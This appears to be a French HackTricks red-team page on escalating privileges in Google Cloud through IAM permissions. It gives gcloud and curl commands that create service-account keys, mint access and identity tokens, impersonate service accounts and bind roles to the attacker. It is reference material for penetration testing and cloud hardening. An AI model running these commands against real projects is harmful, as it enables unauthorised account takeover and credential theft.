GCP - IAM Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IAM

Trouvez plus d’informations sur IAM dans:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Un attaquant disposant des permissions mentionnées pourra mettre à jour un rôle qui vous est assigné et vous accorder des permissions supplémentaires sur d’autres ressources telles que :

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Vous pouvez trouver un script pour automatiser la création, l’exploitation et le nettoyage d’un environnement vulnérable ici et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

La permission iam.roles.create permet la création de rôles personnalisés dans un projet/organisation. Entre les mains d’un attaquant, c’est dangereux car elle lui permet de définir de nouveaux ensembles d’autorisations qui peuvent ensuite être attribués à des entités (par exemple, en utilisant la permission iam.serviceAccounts.setIamPolicy) dans le but d’escalader les privilèges.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Un attaquant disposant des permissions mentionnées pourra demander un access token appartenant à un Service Account, il est donc possible d’obtenir un access token d’un Service Account ayant des privilèges supérieurs aux nôtres.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccountKeys.create

Un attaquant disposant des permissions mentionnées pourra créer une clé gérée par l’utilisateur pour un compte de service, ce qui nous permettra d’accéder à GCP en tant que ce compte de service.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

Notez que iam.serviceAccountKeys.update ne fonctionnera pas pour modifier la clé d’un SA car pour cela la permission iam.serviceAccountKeys.create est également nécessaire.

iam.serviceAccounts.implicitDelegation

Si vous avez la permission iam.serviceAccounts.implicitDelegation sur un Service Account qui dispose de la permission iam.serviceAccounts.getAccessToken sur un troisième Service Account, alors vous pouvez utiliser implicitDelegation pour créer un token pour ce troisième Service Account. Voici un diagramme pour aider à expliquer.

Notez que selon la documentation, la délégation de gcloud ne fonctionne que pour générer un token en utilisant la méthode generateAccessToken(). Voici donc comment obtenir un token en utilisant l’API directement :

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.signBlob

Un attaquant disposant des permissions mentionnées pourra signer des payloads arbitraires dans GCP. Il sera donc possible de créer un JWT non signé du SA puis de l’envoyer en tant que blob pour que le JWT soit signé par le SA ciblé. Pour plus d’informations read this.

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here et here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.signJwt

Un attaquant disposant des permissions mentionnées pourra signer des JSON Web Tokens (JWTs) bien formés. La différence avec la méthode précédente est que au lieu de faire signer par google un blob contenant un JWT, nous utilisons la méthode signJWT qui attend déjà un JWT. Cela la rend plus facile à utiliser, mais vous pouvez seulement signer des JWT au lieu de n’importe quels octets.

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.setIamPolicy

Un attaquant disposant des permissions mentionnées pourra ajouter des politiques IAM aux comptes de service. Vous pouvez en abuser pour vous accorder les autorisations nécessaires pour vous faire passer pour le compte de service. Dans l’exemple suivant, nous nous accordons le rôle roles/iam.serviceAccountTokenCreator sur le SA intéressant :

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Vous pouvez trouver un script pour automatiser la création, exploitation et nettoyage d’un environnement vulnérable ici.

iam.serviceAccounts.actAs

La iam.serviceAccounts.actAs permission est similaire à la iam:PassRole permission from AWS. Elle est essentielle pour exécuter des tâches, comme démarrer une instance Compute Engine, car elle accorde la capacité de “actAs” un Service Account, garantissant une gestion sécurisée des permissions. Sans cela, des utilisateurs pourraient obtenir un accès indu. De plus, exploiter la iam.serviceAccounts.actAs implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d’autres méthodes qui n’en nécessitent qu’une seule.

Service account impersonation

Impersonating a service account can be very useful to obtain new and better privileges. Il existe trois façons dont vous pouvez impersonate another service account:

  • Authentication using RSA private keys (traité ci‑dessus)
  • Authorization using Cloud IAM policies (traité ici)
  • Deploying jobs on GCP services (plus applicable à la compromission d’un compte utilisateur)

iam.serviceAccounts.getOpenIdToken

Un attaquant disposant des permissions mentionnées pourra générer un OpenID JWT. Ceux-ci servent à affirmer une identité et n’accordent pas nécessairement d’autorisation implicite sur une ressource.

Selon cet article intéressant, il est nécessaire d’indiquer l’audience (le service auprès duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le service account et l’audience du JWT.

Vous pouvez générer un OpenIDToken (si vous y avez accès) avec:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Ensuite, vous pouvez simplement l’utiliser pour accéder au service avec :

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Certains services qui prennent en charge l’authentification via ce type de jetons sont :

Vous pouvez trouver un exemple montrant comment créer un token OpenID au nom d’un compte de service ici.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks